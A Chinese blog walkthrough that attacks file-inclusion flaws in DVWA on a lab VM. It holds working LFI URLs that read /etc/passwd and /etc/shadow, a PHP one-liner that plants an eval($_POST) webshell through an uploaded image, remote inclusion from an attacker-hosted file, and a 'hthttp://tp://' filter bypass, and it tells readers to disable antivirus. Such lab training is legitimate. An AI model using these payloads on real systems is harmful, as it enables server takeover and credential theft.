當上傳是高安全模式時,我們大可不必非要用上傳滲透實作對服務器的攻擊,我們可以換一種方式,
1.實驗環境
目標靶機:OWASP_Broken_Web_Apps_VM_1.2
下載地址
我們還需要中國菜刀和kali這兩個工具,把所有的殺毒軟體關了,不然中國菜刀可能會被殺毒軟體和諧,
實驗原理及危害
檔案包含漏洞:即File Inclusion,意思是檔案包含(漏洞),是指當服務器開啟allow_url_include選項時,就可
以通過php的某些特性函式(include(),require()和include_once(),require_once())利用url去動態包含文
件,此時如果沒有對檔案來源進行嚴格審查,就會導致任意檔案讀取或者任意命令執行,檔案包含漏洞分為本地檔案包
含漏洞與遠程檔案包含漏洞,遠程檔案包含漏洞是因為開啟了php配置中的allow_url_fopen選項(選項開啟之后,服務
器允許包含一個遠程的檔案),服務器通過php的特性(函式)去包含任意檔案時,由于要包含的這個檔案來源過濾不
嚴,從而可以去包含一個惡意檔案,而我們可以構造這個惡意檔案來達到自己的目的,
1. 檔案包含(File Inclusion)即程式通過[包含函式]呼叫本地或遠程檔案,以此來實作拓展功能
2. 被包含的檔案可以是各種檔案格式,而當檔案里面包含惡意代碼,則會形成遠程命令執行或檔案上傳漏洞
3. 檔案包含漏洞主要發生在有包含陳述句的環境中,例如PHP所具備include、require等包含函式
檔案包含分為兩類:
本地檔案包含LFI(Local File Inclusion) 當被包含的檔案在服務器本地時,就形成本地檔案包含
遠程檔案包含RFI(Remote File Inclusion) 當被包含的檔案在第三方服務器時,叫做遠程檔案包含
2.低安全級別滲透
首先我們需要用虛擬機打開目標靶機,并查看ip地址

root@owaspbwa:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:0c:29:b2:da:ea brd ff:ff:ff:ff:ff:ff
inet 192.168.13.144/24 brd 192.168.13.255 scope global eth0
inet6 fe80::20c:29ff:feb2:daea/64 scope link
valid_lft forever preferred_lft forever
找到ip后,我們打開網頁訪問192.168.13.144




1.本地檔案包含
訪問本地系統賬號資訊及其它敏感資訊
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/shadow
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/php5/apache2/php.ini
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/mysql/my.cnf
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/apache2/apache2.conf
這些都是正常的訪問:

圖片插入一句話工具
因為在上傳高安全模式下,我們只能上傳圖片,所以我們可以利用圖片來產生我們需要的小馬檔案,
1. 制作一句話圖片木馬
<?fputs(fopen("yjssjm.php","w"),'<?php eval($_POST[yjssjm]);?>')?>
#yjssjm.php 是我們生成的檔案里面寫著<?php eval($_POST[yjssjm]);?>
3. 上傳圖片木馬檔案
4. 執行檔案包含并生成后門
5. 通過菜刀連接webshell
提示:
/var/www/dvwa/hackable/uploads #dvwa檔案上傳訪問的目錄
/var/www/dvwa/vulnerabilities/fi #dvwa檔案包含訪問的目錄 yjssjm.php

這個時候我們的圖片以及是帶有木馬的圖片了,



出來這么一堆亂碼,就是成功了,
我們可以去目標靶機OWASP上看一下


地址寫的時候,將fi后面的全部去掉,換成你生成的小馬的檔案名
http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm.php


2.遠程檔案包含
建立遠程服務器,這里使用kali作為遠程服務器,有條件的小伙伴可以使用云服務器,
原理特別簡單,我們只需要在遠程服務器上創建小馬檔案,使用遠程檔案包含,包含到我們這個檔案就可以了,
打開kali,默認用戶名是root,密碼是toor

打開apache
root@kali:~# service apache2 start
root@kali:~# vim /var/www/html/yjssjm.txt #在網站目錄下面創建檔案
<?fputs(fopen("yjssjm1.php","w"),'<?php eval($_POST[yjssjm]);?>')?>
訪問一下發現apache已經成功啟動



打開中國菜刀,同樣的操作,這里是yjssjm1.php
http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm1.php

同樣能入侵服務器,
3.中安全級別的滲透

查看原始碼我們發現增加了遠程檔案包含的安全性

1.本地檔案包含
因為原始碼只是增加了遠程的安全性,所以我們用上面寫的低安全性滲透的方法就可以實作了
2.遠程檔案包含
<?php
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
==============================================================
我們仔細看一下這些代碼,其實就是如果我匹配到了"http://" 這些字符,那么我就將其替換為空字符
同樣如果我匹配到了"https://" 這些字符,那么我就將其替換為空字符
如果我們再去訪問下面這個網址
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=http://192.168.13.145/yjssjm.txt
當然是什么都訪問不到,因為它默認把我們等號后面的那個"http://"去掉了,即
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=192.168.13.145/yjssjm.txt
這樣我們當然會失敗,所以我們需要多加一個"http://"
而添加的方法不唯一,下面舉個例子
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.13.145/yjssjm.txt
hthttp://tp:// - http:// = http://
只要執行成功,小馬檔案生成之后,下面的步驟就跟上面的一樣了,
你們的評論和點贊是我寫文章的最大動力,蟹蟹,
轉載請註明出處,本文鏈接:https://www.uj5u.com/caozuo/108836.html
標籤:Linux
下一篇:linux下安裝docker容器
